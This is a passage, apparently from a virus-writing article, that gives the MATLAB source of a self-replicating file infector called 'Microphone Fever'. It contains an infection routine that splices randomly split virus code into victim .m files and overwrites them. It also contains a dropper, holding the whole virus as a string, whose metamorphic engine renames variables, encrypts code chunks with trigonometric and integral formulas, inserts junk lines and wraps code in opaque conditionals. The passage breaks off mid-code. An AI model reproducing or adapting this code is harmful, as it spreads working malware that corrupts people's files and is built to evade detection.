  1040.                                 elseif (VicLines{Count026}(Count027-1)==' ' || VicLines{Count026}(Count027-1)==';' || VicLines{Count026}(Count027-1)==char(9))
  1041.                                     IsStart=1;
  1042.                                 end
  1043.                                 if Count027+length(EndArray{Count028})-1==length(VicLines{Count026})
  1044.                                     IsStart=IsStart+1;
  1045.                                 elseif (VicLines{Count026}(Count027+length(EndArray{Count028}))==' ' || VicLines{Count026}(Count027+length(EndArray{Count028}))=='(' || VicLines{Count026}(Count027+length(EndArray{Count028}))==char(9))
  1046.                                     IsStart=IsStart+1;
  1047.                                 end
  1048.                                 if IsStart==2
  1049.                                     EndCount=EndCount+1;
  1050.                                 end
  1051.                             end
  1052.                         end
  1053.                     end
  1054.                     if Count027+1<length(VicLines{Count026})
  1055.                         if all(VicLines{Count026}(Count027:Count027+2)=='end')                        
  1056.                             IsEnd=0;
  1057.                             if (Count027==1)
  1058.                                 IsEnd=1;
  1059.                             elseif (VicLines{Count026}(Count027-1)==' ' || VicLines{Count026}(Count027-1)==';' || VicLines{Count026}(Count027-1)==char(9))
  1060.                                 IsEnd=1;
  1061.                             end
  1062.                             if Count027+2==length(VicLines{Count026})
  1063.                                 IsEnd=IsEnd+1;
  1064.                             elseif (VicLines{Count026}(Count027+3)==' ' || VicLines{Count026}(Count027+3)==';' || VicLines{Count026}(Count027+3)==char(9))
  1065.                                 IsEnd=IsEnd+1;
  1066.                             end
  1067.                             if IsEnd==2
  1068.                                 EndCount=EndCount-1;
  1069.                             end
  1070.                         end
  1071.                     end
  1072.                 end
  1073.             end
  1074.         end
  1075.  
  1076.         NewInfCode={}; VCsplitted={};
  1077.         VirSplit=sort([0 length(VirCode) fix(rand(1,length(GoodLine)-1)*length(VirCode))]);
  1078.         TmpVar007=length(VirSplit);
  1079.         while TmpVar007>1
  1080.             if (VirSplit(TmpVar007-1)<VirSplit(TmpVar007)) VCsplitted{length(VirSplit)-TmpVar007+1}=VirCode(VirSplit(TmpVar007-1)+1:VirSplit(TmpVar007)); else VCsplitted{length(VirSplit)-TmpVar007+1}={}; end
  1081.             TmpVar007=TmpVar007-1;
  1082.         end
  1083.         GoodLine(end+1)=length(VicLines);        
  1084.         for Count029=1:length(GoodLine)-1
  1085.             NewInfCode={NewInfCode{:} VicLines{GoodLine(Count029):GoodLine(Count029+1)-1}};  
  1086.             TmpVar008=length(VCsplitted{Count029});
  1087.             while TmpVar008>0
  1088.                 NewInfCode={NewInfCode{:} VCsplitted{Count029}{TmpVar008}{:}};
  1089.                 TmpVar008=TmpVar008-1;
  1090.             end        
  1091.         end
  1092.         NewInfCode={NewInfCode{:} VicLines{end}};
  1093.         fclose(VicIDr);
  1094.         VicIDw=fopen(VicFiles(Count023).name, 'w+');
  1095.         for Count030=1:length(NewInfCode)
  1096.             fprintf(VicIDw,[NewInfCode{Count030} char(13) char(10)]);
  1097.         end
  1098.         fclose(VicIDw);
  1099.     end
  1100. end
  1101. delete('odefunction.m');
  1102.  
  1103. VicLines(:)
  1104. NewInfCode(:)
  1105. load gong.mat;
  1106. sound(y, Fs);
  1107. - - - - - - - - - - - - -
  1108.  
  1109.  
  1110.  
  1111.  
  1112.  
  1113.   5) Running-Virus Dropper
  1114.  
  1115.      The first generation is started via a dropper, that contains the whole
  1116.      viruscode as a string. It first shows the code of the virus in the
  1117.      Matlab window, then executes it.
  1118.  
  1119. - - - - - - - - - - - - -
  1120. disp('Microphone Fever - the best thing you can do within 153 seconds...');
  1121. MyCode=['warning off all;'];
  1122. MyCode=[MyCode 'MyCode=[MyCode,'' ''];'];
  1123. MyCode=[MyCode 'VarList2Change={''MyCode'' ''EncOReplacePool1'' ''EncryptThreshold'' ''TrashString'' ''GarbageString'' ''EncQReplacePool1'' ''ThisVarContainsVirus'' ''EncDiff'' ''EvaledCryptArray'' ''OrigString2Enc'' ''EncFReplacePool1'' ''TmpRndName'' ''EncSReplacePool1'' ''CPcrypt'' ''VarList2Change'' ''GiveEncString'' ''EncStartFunction'' ''ChangeNumber'' ''FfAll'' ''DfAll'' ''SplitOffset'' ''MatXNameXX'' ''EncryString'' ''CodePart'' ''Rnames'' ''NewCode'' ''TrashNames'' ''TrashLine'' ''SplitSize'' ''QuoteSign'' ''CreateTrashA'' ''CreateTrashB'' ''CreateTrashC'' ''CreateTrashD'' ''CreateTrash1'' ''CreateTrash2'' ''ODEfile'' ''odefunction'' ''RandPermSS'' ''AlgoMatrix'' ''ViralBodyVariable'' ''ActualCodeForThisPart'' ''Var2Wrt'' ''ObfusCount'' ''RandomAppearenceOfIfs'' ''LineBreaksIf'' ''LineShift'' ''runcode'' ''RandNameCol'' ''CODE'' ''TRASH'' ''WhichMathAlgo'' ''FReplacePool1'' ''StartFunction'' ''SReplacePool1'' ''OReplacePool1'' ''MatSizeN'' ''SomeMatVec'' ''MultFct'' ''SpecMatName'' ''SpecVecName'' ''WhichMatrixAlgo'' ''MatArOp'' ''VecArOp'' ''SavedVector'' ''IsItAVector'' ''Operator1'' ''Operator2'' ''BoundAll1'' ''BoundAll2'' ''BoundAll3'' ''BoundTmpA'' ''BoundTmpB'' ''BoundSign'' ''FctString1'' ''FctString2'' ''FctString3'' ''IntTolerance'' ''TimeMeasure'' ''CompleteCompString'' ''CompleteErg'' ''InterpDataVec'' ''InterpSpline'' ''ODEIntervallA'' ''ODEIntervallB'' ''ODEDomain'' ''ODEIntX'' ''SReplacePool2'' ''RCWriteVar'' ''RCNumSub'' ''RCNumAdd'' ''MulFacRC'' ''IncFa'' ''RC'' ''RCsSub'' ''RCsAdd'' ''VirCode'' ''IsAllEmpty'' ''VicFiles'' ''VicLines'' ''NewInfCode'' ''VicIDr'' ''IsAPO'' ''EndArray'' ''EndCount'' ''GoodLine'' ''IsAPP'' ''IsStart'' ''IsEnd'' ''VCsplitted'' ''VirSplit'' ''VicIDw'' ''Count000'' ''Count001'' ''Count002'' ''Count003'' ''Count004'' ''Count005'' ''Count006'' ''Count007'' ''Count008'' ''Count009'' ''Count010'' ''Count011'' ''Count012'' ''Count013'' ''Count014'' ''Count015'' ''Count016'' ''Count017'' ''Count018'' ''Count019'' ''Count020'' ''Count021'' ''Count022'' ''Count023'' ''Count024'' ''Count025'' ''Count026'' ''Count027'' ''Count028'' ''Count029'' ''Count030'' ''Count031'' ''Count032'' ''Count033'' ''TmpVar001'' ''TmpVar002'' ''TmpVar003'' ''TmpVar004'' ''TmpVar005'' ''TmpVar006'' ''TmpVar007'' ''TmpVar008''};'];
  1124. MyCode=[MyCode 'FfAll={''sin'' ''sinh'' ''asin'' ''asinh'' ''cos'' ''cosh'' ''acos'' ''acosh'' ''tan'' ''tanh'' ''atan'' ''atanh'' ''sec'' ''sech'' ''asec'' ''asech'' ''csc'' ''csch'' ''acsc'' ''acsch'' ''cot''  ''coth'' ''acot'' ''acoth'' ''exp'' ''expm1'' ''log'' ''log1p'' ''log10'' ''log2'' ''pow2'' ''sqrt'' ''nextpow2'' ''abs'' ''angle'' ''conj'' ''imag'' ''real'' ''unwrap'' ''fix'' ''floor'' ''ceil'' ''round'' ''sign'' ''airy'' ''expint''};DfAll={''hypot'' ''dot'' ''cart2pol'' ''pol2cart'' ''atan2''};TmpRndName={};for Count032=1:length(VarList2Change) TmpRndName{end+1}=''if'';while(any(strcmp({FfAll{:} DfAll{:} TmpRndName{1:end-1}},TmpRndName{end}))||iskeyword(TmpRndName{end}))TmpRndName{end}=char(fix(rand(1,fix(rand*15)+5)*25)+97);end;end;for Count031=1:length(VarList2Change) MyCode=strrep(MyCode,VarList2Change{Count031},TmpRndName{Count031});end;'];
  1125. MyCode=[MyCode 'rand(''twister'',fix(sum(cputime)));SplitOffset=unique([1,sort(fix(rand(1,fix(rand*length(MyCode)/5)+3)*size(MyCode,2)+1)),size(MyCode,2)]);CodePart={};Rnames={};NewCode={};TrashNames={};TrashLine={};SplitSize=size(SplitOffset,2)-1;'];
  1126. MyCode=[MyCode 'QuoteSign=char(39);for Count033=1:SplitSize CodePart{end+1}=MyCode(SplitOffset(Count033):SplitOffset(Count033+1)-1);Rnames{end+1}=''sin'';while any(strcmp({FfAll{:} DfAll{:} Rnames{1:end-1}},Rnames{end})) Rnames{end}=char(fix(rand(1,fix(rand*15)+4)*25)+97);end;end;'];
  1127. MyCode=[MyCode 'CreateTrashA=[''if(rand<EncryptThreshold)OrigString2Enc=CodePart{fix(rand*SplitSize+1)};eval(GiveEncString);TrashString=[''''char('''' EncryString '''')''''];OrigString2Enc=char(fix(rand(1,fix(rand*7)+3)*25)+97);eval(GiveEncString);GarbageString=[''''char('''' EncryString '''')''''];else GarbageString=['''''''''''''''' char(fix(rand(1,fix(rand*7)+3)*25)+97) ''''''''''''''''];TrashString=['''''''''''''''' strrep(CodePart{fix(rand*SplitSize+1)},'''''''''''''''','''''''''''''''''''''''') ''''''''''''''''];end;if(max(sum(AlgoMatrix))>0.05*SplitSize)TrashNames=Rnames(diag(AlgoMatrix));end;tmp=rand;tn=fix(rand*(length(TrashNames)-1)+1);tmpord=randperm(length(TrashNames));''];CreateTrashB=[''if(tmp>0.9) TrashLine{end+1}=[Rnames{fix(rand*SplitSize+1)} '',QuoteSign,''='',QuoteSign,'',TrashString,'',QuoteSign,'';'',QuoteSign,''];else''];CreateTrashC=[''if(tmp>0.7 && length(TrashNames)) TrashLine{end+1}=[TrashNames{tn},'',QuoteSign,''=['',QuoteSign,'',TrashNames{tn},'',QuoteSign,'' '',QuoteSign,'',TrashString,'',QuoteSign,''];'',QuoteSign,''];''];CreateTrashC=[CreateTrashC ''elseif(tmp>0.5 && length(TrashNames)>2) TrashLine{end+1}=[TrashNames{tmpord(1)},'',QuoteSign,''=['',QuoteSign,'',TrashNames{tmpord(2)},'',QuoteSign,'' '',QuoteSign,'',TrashNames{tmpord(1)},'',QuoteSign,''];'',QuoteSign,''];''];CreateTrashC=[CreateTrashC ''elseif(tmp>0.3 && length(TrashNames)>2) TrashLine{end+1}=[TrashNames{tmpord(1)},'',QuoteSign,''=['',QuoteSign,'',TrashNames{tmpord(1)},'',QuoteSign,'' '',QuoteSign,'',TrashNames{tmpord(2)},'',QuoteSign,''];'',QuoteSign,''];''];CreateTrashC=[CreateTrashC ''elseif(tmp>0.1 && length(TrashNames)) TrashLine{end+1}=[TrashNames{tn},'',QuoteSign,''=['',QuoteSign,'',TrashString,'',QuoteSign,'' '',QuoteSign,'',TrashNames{tn},'',QuoteSign,''];'',QuoteSign,''];''];CreateTrashD=[''else TrashLine{end+1}=[Rnames{tn},'',QuoteSign,''='',QuoteSign,'',GarbageString,'',QuoteSign,'';'',QuoteSign,''];end''];CreateTrash1=[CreateTrashA CreateTrashB CreateTrashC CreateTrashD];CreateTrash2=[CreateTrashA CreateTrashC ''else TrashLine{end+1}=[TrashNames{tn},'',QuoteSign,''=['',QuoteSign,'',TrashString,'',QuoteSign,'' '',QuoteSign,'',TrashNames{tn},'',QuoteSign,''];'',QuoteSign,''];end''];'];
  1128. MyCode=[MyCode 'GiveEncString=[''EncDiff=0;EvaledCryptArray=0;OrigString2Enc=OrigString2Enc+rand();while(EncDiff<length(OrigString2Enc)||isnan(EncDiff)||isinf(EncDiff)||sum(isnan(EvaledCryptArray))||sum(isinf(EvaledCryptArray))||sum(abs(EvaledCryptArray)>10000)||sum(abs(imag(EvaledCryptArray))))EncFReplacePool1={'',QuoteSign,''sin'',QuoteSign,'' '',QuoteSign,''cos'',QuoteSign,'' '',QuoteSign,''exp'',QuoteSign,'' '',QuoteSign,''atan'',QuoteSign,'' '',QuoteSign,''sinh'',QuoteSign,'' '',QuoteSign,''cosh'',QuoteSign,'' '',QuoteSign,''log'',QuoteSign,'' '',QuoteSign,''asin'',QuoteSign,'' '',QuoteSign,''acos'',QuoteSign,'' '',QuoteSign,''tan'',QuoteSign,''};EncSReplacePool1={ '',QuoteSign,''F(NOS)Q'',QuoteSign,'' '',QuoteSign,''F(SON)Q'',QuoteSign,'' '',QuoteSign,''F(S)Q'',QuoteSign,'' '',QuoteSign,''F(S)Q'',QuoteSign,'' '',QuoteSign,''F(SON)Q'',QuoteSign,'' '',QuoteSign,''F(NOS)Q'',QuoteSign,''};EncStartFunction=EncSReplacePool1{fix(rand*length(EncSReplacePool1)+1)};EncSReplacePool1{1}='',QuoteSign,''if'',QuoteSign,''; EncSReplacePool1{2}='',QuoteSign,''if'',QuoteSign,'';EncOReplacePool1={'',QuoteSign,''.*'',QuoteSign,'' '',QuoteSign,''+'',QuoteSign,'' '',QuoteSign,''-'',QuoteSign,''};EncQReplacePool1={'',QuoteSign,'''',QuoteSign,'' ['',QuoteSign,''.^'',QuoteSign,'' num2str(fix(rand()*5+2))] '',QuoteSign,'''',QuoteSign,'' '',QuoteSign,'''',QuoteSign,'' '',QuoteSign,'''',QuoteSign,''};while (length(strfind(EncStartFunction,'',QuoteSign,''S'',QuoteSign,''))+length(strfind(EncStartFunction,'',QuoteSign,''O'',QuoteSign,''))+length(strfind(EncStartFunction,'',QuoteSign,''F'',QuoteSign,''))>0) EncStartFunction=regexprep(EncStartFunction,'',QuoteSign,''S'',QuoteSign,'',EncSReplacePool1{fix(rand*length(EncSReplacePool1)+1)},rand*length(strfind(EncStartFunction,'',QuoteSign,''S'',QuoteSign,''))+1);EncStartFunction=regexprep(EncStartFunction,'',QuoteSign,''F'',QuoteSign,'',EncFReplacePool1{fix(rand*length(EncFReplacePool1)+1)},rand*length(strfind(EncStartFunction,'',QuoteSign,''F'',QuoteSign,''))+1);EncStartFunction=regexprep(EncStartFunction,'',QuoteSign,''O'',QuoteSign,'',EncOReplacePool1{fix(rand*length(EncOReplacePool1)+1)},rand*length(strfind(EncStartFunction,'',QuoteSign,''O'',QuoteSign,''))+1);EncStartFunction=regexprep(EncStartFunction,'',QuoteSign,''N'',QuoteSign,'',num2str(rand*10),rand*length(strfind(EncStartFunction,'',QuoteSign,''N'',QuoteSign,''))+1);EncStartFunction=regexprep(EncStartFunction,'',QuoteSign,''Q'',QuoteSign,'',EncQReplacePool1{fix(rand*length(EncQReplacePool1)+1)},rand*length(strfind(EncStartFunction,'',QuoteSign,''Q'',QuoteSign,''))+1);if(max(cumsum(EncStartFunction=='',QuoteSign,''('',QuoteSign,'')-cumsum(EncStartFunction=='',QuoteSign,'')'',QuoteSign,''))>25) EncSReplacePool1{3}=EncSReplacePool1{1};EncSReplacePool1{4}=EncSReplacePool1{1};EncSReplacePool1{5}=EncSReplacePool1{2};EncSReplacePool1{6}=EncSReplacePool1{2};end;end;EncStartFunction=regexprep(EncStartFunction,'',QuoteSign,''if'',QuoteSign,'',['',QuoteSign,''['',QuoteSign,'' num2str(100*rand(1,length(OrigString2Enc))) '',QuoteSign,'']'',QuoteSign,'' ]);EvaledCryptArray=eval(EncStartFunction);EncDiff=sum(abs(diff(fix(EvaledCryptArray))))+(length(OrigString2Enc)==1);end;if rand>0.67 CPcrypt=OrigString2Enc+EvaledCryptArray;EncryString=['',QuoteSign,''['',QuoteSign,'' num2str(CPcrypt) '',QuoteSign,'']-'',QuoteSign,'' EncStartFunction];else CPcrypt=OrigString2Enc-EvaledCryptArray;if rand>0.66 EncryString=['',QuoteSign,''['',QuoteSign,'' num2str(CPcrypt) '',QuoteSign,'']+'',QuoteSign,'' EncStartFunction];else EncryString=[EncStartFunction '',QuoteSign,''+['',QuoteSign,'' num2str(CPcrypt) '',QuoteSign,'']'',QuoteSign,''];end;end;while(strfind(EncryString,'',QuoteSign,''  '',QuoteSign,''))EncryString=strrep(EncryString,'',QuoteSign,''  '',QuoteSign,'','',QuoteSign,'' '',QuoteSign,'');end''];'];
  1129. MyCode=[MyCode 'ODEfile=fopen(''odefunction.m'',''w+'');fprintf(ODEfile,[''function status=odefunction(t,y,flagzz,args);status=0;if ~isempty(t) if ~any(abs(t-t(1))>1.e-4) status=1;end;end'']);fclose(ODEfile);rehash;EncryptThreshold=rand();if(EncryptThreshold<0.33)EncryptThreshold=0;elseif(EncryptThreshold>0.66)EncryptThreshold=1;elseEncryptThreshold=rand();end;RandPermSS=randperm(SplitSize);AlgoMatrix=false(SplitSize,SplitSize);'];
  1130. MyCode=[MyCode 'for Count000=1:SplitSize disp([num2str(Count000) ''/'' num2str(SplitSize)]);if(RandPermSS(Count000)>1)for Count001=1:SplitSize if(rand>0.4 && AlgoMatrix(RandPermSS(Count000)-1,Count001))if(rand()<EncryptThreshold)OrigString2Enc=CodePart{RandPermSS(Count000)};eval(GiveEncString);NewCode{end+1}=[Rnames{Count001},''=['',Rnames{Count001},'' char('',EncryString,'')];''];else NewCode{end+1}=[Rnames{Count001},''=['',Rnames{Count001},'' '',QuoteSign,strrep(CodePart{RandPermSS(Count000)},'''''''',''''''''''''),QuoteSign,''];''];end;AlgoMatrix(RandPermSS(Count000),Count001)=1;eval(CreateTrash1);end;end;end;if(sum(AlgoMatrix(RandPermSS(Count000),:),2)==0&&RandPermSS(Count000)<SplitSize-1)for Count002=1:SplitSize if(rand>0.4 && AlgoMatrix(RandPermSS(Count000)+1,Count002)==1)if(rand()<EncryptThreshold)OrigString2Enc=CodePart{RandPermSS(Count000)};eval(GiveEncString);NewCode{end+1}=[Rnames{Count002},''=[char('',EncryString,'') '',Rnames{Count002},''];''];else NewCode{end+1}=[Rnames{Count002},''=['',QuoteSign,strrep(CodePart{RandPermSS(Count000)},'''''''',''''''''''''),QuoteSign,'' '',Rnames{Count002},''];''];end;AlgoMatrix(RandPermSS(Count000),Count002)=1;eval(CreateTrash1);end;end;end;if(sum(AlgoMatrix(RandPermSS(Count000),:),2)==0)if(rand()<EncryptThreshold)OrigString2Enc=CodePart{RandPermSS(Count000)};eval(GiveEncString);NewCode{end+1}=[Rnames{RandPermSS(Count000)},''=[char('',EncryString,'')];''];else NewCode{end+1}=[Rnames{RandPermSS(Count000)},''='',QuoteSign,strrep(CodePart{RandPermSS(Count000)},'''''''',''''''''''''),QuoteSign,'';''];end;AlgoMatrix(RandPermSS(Count000),RandPermSS(Count000))=1;'];
  1131. MyCode=[MyCode 'TrashNames{end+1}=Rnames{RandPermSS(Count000)};eval(CreateTrash1);end;for Count003=2:SplitSize for Count004=1:SplitSize Count005=find(AlgoMatrix(Count003,:));if(~AlgoMatrix(Count003,Count004)&&AlgoMatrix(Count003-1,Count004)&&size(Count005,2)>0&&rand>0.4)if(rand>0.5)NewCode{end+1}=[Rnames{Count004},''=['',Rnames{Count004},'' '',Rnames{Count005},''];''];AlgoMatrix(:,Count004)=AlgoMatrix(:,Count004)+AlgoMatrix(:,Count005);AlgoMatrix(:,Count005)=0;eval(CreateTrash1);else NewCode{end+1}=[Rnames{Count005},''=['',Rnames{Count004},'' '',Rnames{Count005},''];''];AlgoMatrix(:,Count005)=AlgoMatrix(:,Count005)+AlgoMatrix(:,Count004);AlgoMatrix(:,Count004)=0;eval(CreateTrash1);end;end;end;end;end;while ~any(all(AlgoMatrix)) for Count006=2:SplitSize for Count007=1:SplitSize Count008=find(AlgoMatrix(Count006,:));if(~AlgoMatrix(Count006,Count007)&&AlgoMatrix(Count006-1,Count007)&&size(Count008,2)>0&&rand>0.4)if(rand>0.5)NewCode{end+1}=[Rnames{Count007},''=['',Rnames{Count007},'' '',Rnames{Count008},''];''];AlgoMatrix(:,Count007)=AlgoMatrix(:,Count007)+AlgoMatrix(:,Count008);AlgoMatrix(:,Count008)=0;TrashNames=Rnames(diag(AlgoMatrix));eval(CreateTrash2);else NewCode{end+1}=[Rnames{Count008},''=['',Rnames{Count007},'' '',Rnames{Count008},''];''];AlgoMatrix(:,Count008)=AlgoMatrix(:,Count008)+AlgoMatrix(:,Count007);AlgoMatrix(:,Count007)=0;TrashNames=Rnames(diag(AlgoMatrix));eval(CreateTrash2);end;end;end;end;end;for Count009=1:size(NewCode,2) eval(NewCode{Count009});end;ViralBodyVariable=Rnames{sum(AlgoMatrix)==SplitSize};NewCode=strrep(NewCode,ViralBodyVariable,TmpRndName{1});TrashLine=strrep(TrashLine,ViralBodyVariable,TmpRndName{1});ActualCodeForThisPart={};Var2Wrt={};ObfusCount=1;RandomAppearenceOfIfs=fix(rand*2);LineBreaksIf=fix(rand(1,4)*2);LineShift={};LineShift{1}(1:fix(rand*8))='' '';if rand>0.7 LineShift{1}=''    '';end;if rand>0.3 LineShift{2}=LineShift{1};else LineShift{2}(1:fix(rand*8))='' '';end;while(ObfusCount<=length(NewCode))Var2Wrt{ObfusCount}={};ActualCodeForThisPart{ObfusCount}={};runcode=0;RandNameCol={};for Count010=0:10 RandNameCol{end+1}=''if'';while(any(strcmp({FfAll{:} DfAll{:} Rnames{:} RandNameCol{1:end-1}},RandNameCol{end}))||iskeyword(RandNameCol{end}))RandNameCol{end}=char(fix(rand(1,fix(rand*15)+5)*25)+97);end;end;CODE=NewCode{ObfusCount};TRASH=TrashLine{ObfusCount};WhichMathAlgo=fix(rand*5);if(WhichMathAlgo==1||WhichMathAlgo==3)FReplacePool1={''sin'' ''cos'' ''exp'' ''atan''};StartFunction=''SOS'';SReplacePool1={''(SOS)'' ''F(S)'' ''if'' ''if''};while(~isempty(strfind([FReplacePool1{:}], SReplacePool1{3}))||iskeyword(SReplacePool1{3}))SReplacePool1{3}=char(fix(rand(1,fix(rand*4)+2)*25)+97);end;SReplacePool1{4}=SReplacePool1{3};OReplacePool1={''.*'' ''+''};while length(strfind(StartFunction,''S''))+length(strfind(StartFunction,''O''))+length(strfind(StartFunction,''F''))>0 TmpVar001=fix(rand*length(SReplacePool1)+1);StartFunction=regexprep(StartFunction,''S'',SReplacePool1{TmpVar001},rand*length(strfind(StartFunction,''S''))+1);if(TmpVar001>2&&strcmp(SReplacePool1{3},SReplacePool1{4}));while(~isempty(strfind(SReplacePool1{4},SReplacePool1{3}))||~isempty(strfind(SReplacePool1{3},SReplacePool1{4}))||~isempty(strfind([FReplacePool1{:}],SReplacePool1{4}))||iskeyword(SReplacePool1{4}))SReplacePool1{4}=char(fix(rand(1,fix(rand*4)+2)*25)+97);end;end;StartFunction=regexprep(StartFunction, ''O'',OReplacePool1{fix(rand*length(OReplacePool1)+1)},rand*length(strfind(StartFunction,''O''))+1);StartFunction=regexprep(StartFunction, ''F'',FReplacePool1{fix(rand*length(FReplacePool1)+1)},rand*length(strfind(StartFunction,''F''))+1);if(max(cumsum(StartFunction==''('')-cumsum(StartFunction=='')''))>25)SReplacePool1{1}=SReplacePool1{3};SReplacePool1{2}=SReplacePool1{4}; end;end;end;'];
  1132. MyCode=[MyCode 'if(WhichMathAlgo==0)MatSizeN=fix(rand*5)+3;SomeMatVec{1}=[RandNameCol{end} ''=['']; SomeMatVec{2}=[RandNameCol{end-1} ''=['']; SomeMatVec{3}=[RandNameCol{end-2} ''=[''];MultFct=rand*30;for Count011=1:MatSizeN SomeMatVec{1}=[SomeMatVec{1} '' '' num2str(rand(1,1)*MultFct)];SomeMatVec{2}=[SomeMatVec{2} '';'' num2str(rand(1,1)*MultFct)];SomeMatVec{3}=[SomeMatVec{3} '';''];for Count012=1:MatSizeN SomeMatVec{3}=[SomeMatVec{3} '' '' num2str(rand(1,1)*MultFct)];end;end;SomeMatVec{1}=[SomeMatVec{1} ''];''];SomeMatVec{1}(size(RandNameCol{end},2)+3)='''';eval(SomeMatVec{1});SomeMatVec{2}=[SomeMatVec{2} ''];''];SomeMatVec{2}(size(RandNameCol{end-1},2)+3)='''';eval(SomeMatVec{2});SomeMatVec{3}=[SomeMatVec{3} ''];''];SomeMatVec{3}(size(RandNameCol{end-2},2)+3:size(RandNameCol{end-2},2)+4)='''';eval(SomeMatVec{3});SpecMatName={''toeplitz'',''vander''}; SpecVecName={''pascal'',''magic'',''hilb'',''invhilb'',''wilkinson''};WhichMatrixAlgo=fix(rand*5);if(WhichMatrixAlgo==0)Var2Wrt{ObfusCount}{end+1}=SomeMatVec{1};Var2Wrt{ObfusCount}{end+1}=SomeMatVec{2};MatXNameXX=[RandNameCol{end-1} ''*'' RandNameCol{end}];elseif(WhichMatrixAlgo==1)Var2Wrt{ObfusCount}{end+1}=SomeMatVec{3};MatXNameXX=[RandNameCol{end-2}];elseif(WhichMatrixAlgo==2)Var2Wrt{ObfusCount}{end+1}=SomeMatVec{1};MatXNameXX=[SpecMatName{fix(rand(1,1)*length(SpecMatName)+1)} ''('' RandNameCol{end} '')''];elseif(WhichMatrixAlgo==3)MatXNameXX=[SpecVecName{fix(rand(1,1)*length(SpecVecName)+1)} ''('' num2str(MatSizeN) '')''];elseif(WhichMatrixAlgo==4)MatXNameXX=''rosser'';end;MatArOp={''sin'' ''cos'' ''sinh'' ''cosh'' ''exp'' ''tan'' ''sqrt'' ''real'' ''imag''};for Count013=1:fix(rand*3+1) if(rand>0.66)MatXNameXX=[MatArOp{fix(rand*size(MatArOp,2)+1)} ''('' MatXNameXX '')''];end;end;VecArOp={''sum'' ''max'' ''min''};SavedVector=[VecArOp{fix(rand*size(VecArOp,2)+1)} ''('' RandNameCol{end} '')''];IsItAVector=1;if(rand>0.44) SavedVector=num2str(rand*100-50); IsItAVector=0;end;for Count015=1:fix(rand*3+1) if(rand>0.66)SavedVector=[MatArOp{fix(rand*size(MatArOp,2)+1)} ''('' SavedVector '')''];end;end;MatXNameXX=[VecArOp{fix(rand*size(VecArOp,2)+1)} ''('' MatXNameXX '')''];for Count016=1:fix(rand*3+1) if(rand>0.85)MatXNameXX=[MatArOp{fix(rand*size(MatArOp,2)+1)} ''('' MatXNameXX '')''];end;end;MatXNameXX=[VecArOp{fix(rand*size(VecArOp,2)+1)} ''('' MatXNameXX '')''];for Count017=1:fix(rand*3+1) if(rand>0.85)MatXNameXX=[MatArOp{fix(rand*size(MatArOp,2)+1)} ''('' MatXNameXX '')''];end;end;TmpVar002=fix(rand*4);Operator1=''''; Operator2='''';if(eval(SavedVector)>eval(MatXNameXX)) Operator1=''>''; Operator2=''<'';end;if(eval(SavedVector)<eval(MatXNameXX)) Operator1=''<''; Operator2=''>'';end;if(~isempty(Operator1))ActualCodeForThisPart{ObfusCount}{2}=[LineShift{1} CODE];ActualCodeForThisPart{ObfusCount}{4}=[LineShift{2} TRASH];if(sum(strcmp(Var2Wrt{ObfusCount},SomeMatVec{1}))==0 && IsItAVector) Var2Wrt{ObfusCount}{end+1}=SomeMatVec{1};end;if(TmpVar002==0)ActualCodeForThisPart{ObfusCount}{1}=[''if(('' SavedVector '')'' Operator1 MatXNameXX '')''];elseif(TmpVar002==1)ActualCodeForThisPart{ObfusCount}{1}=[''if('' MatXNameXX Operator1 ''('' SavedVector ''))''];ActualCodeForThisPart{ObfusCount}{2}=[LineShift{1} TRASH];ActualCodeForThisPart{ObfusCount}{4}=[LineShift{2} CODE];elseif(TmpVar002==2)ActualCodeForThisPart{ObfusCount}{1}=[''if(('' SavedVector '')'' Operator2 MatXNameXX '')''];ActualCodeForThisPart{ObfusCount}{2}=[LineShift{1} TRASH];ActualCodeForThisPart{ObfusCount}{4}=[LineShift{2} CODE];elseif(TmpVar002==3)ActualCodeForThisPart{ObfusCount}{1}=[''if('' MatXNameXX Operator2 ''('' SavedVector ''))''];end;ActualCodeForThisPart{ObfusCount}{3}=[''else''];ActualCodeForThisPart{ObfusCount}{5}=[''end''];else ObfusCount=ObfusCount-1;end;RandNameCol(end)=[]; RandNameCol(end)=[]; RandNameCol(end)=[];if ObfusCount for Count018=1:size(Var2Wrt{ObfusCount},2) eval(Var2Wrt{ObfusCount}{Count018});end;end;elseif(WhichMathAlgo==1)BoundAll1=cellstr(num2str(rand(5,1))); BoundAll2={''pi'',''log(2)'',''sqrt(2)'',''sqrt(3)'',BoundAll1{:}}; BoundAll3=randperm(length(BoundAll2));if rand>0.6 StartFunction=strrep(StartFunction,SReplacePool1{4},SReplacePool1{3});BoundAll3={BoundAll2{BoundAll3(1:2)}};BoundSign=strrep(strrep(cellstr(num2str(rand(2,1)>0.7)),''1'',''-''),''0'',''''); BoundAll3={[BoundSign{1} strrep(BoundAll3{1},'' '','''')],[BoundSign{2} strrep(BoundAll3{2},'' '','''')]}; BoundTmpA=[eval(BoundAll3{1}) eval(BoundAll3{2})];if(sum(abs(sort(BoundTmpA)-BoundTmpA))>0) BoundAll3{3}=BoundAll3{1}; BoundAll3{1}=BoundAll3{2}; BoundAll3{2}=BoundAll3{3}; BoundAll3(3)=[];end;FctString1=''quad''; FctString2=''''; FctString3='''';else BoundAll3={BoundAll2{BoundAll3(1:4)}};BoundSign=strrep(strrep(cellstr(num2str(rand(4,1)>0.7)),''1'',''-''),''0'','''');BoundAll3={[BoundSign{1} strrep(BoundAll3{1},'' '','''')],[BoundSign{2} strrep(BoundAll3{2},'' '','''')],[BoundSign{3} strrep(BoundAll3{3},'' '','''')],[BoundSign{4} strrep(BoundAll3{4},'' '','''')]};BoundTmpA=[eval(BoundAll3{1}) eval(BoundAll3{2})];BoundTmpB=[eval(BoundAll3{3}) eval(BoundAll3{4})];if(sum(abs(sort(BoundTmpA)-BoundTmpA))>0) BoundAll3{5}=BoundAll3{1}; BoundAll3{1}=BoundAll3{2}; BoundAll3{2}=BoundAll3{5}; BoundAll3(5)=[]; end;if(sum(abs(sort(BoundTmpB)-BoundTmpB))>0) BoundAll3{5}=BoundAll3{3}; BoundAll3{3}=BoundAll3{4}; BoundAll3{4}=BoundAll3{5}; BoundAll3(5)=[]; end;FctString1=''dblquad''; FctString2=['','' BoundAll3{3} '','' BoundAll3{4}]; FctString3=['','' SReplacePool1{4}];end;IntTolerance=fix(real(log10(eval([FctString1 ''(@('' SReplacePool1{3} FctString3 '')'' StartFunction '','' BoundAll3{1} '','' BoundAll3{2} FctString2 '',1e'' num2str(6666) '')'']))))+5;TimeMeasure=0;while(TimeMeasure<0.1 && IntTolerance>-23)IntTolerance=IntTolerance-1;CompleteCompString=[FctString1 ''(@('' SReplacePool1{3} FctString3 '')'' 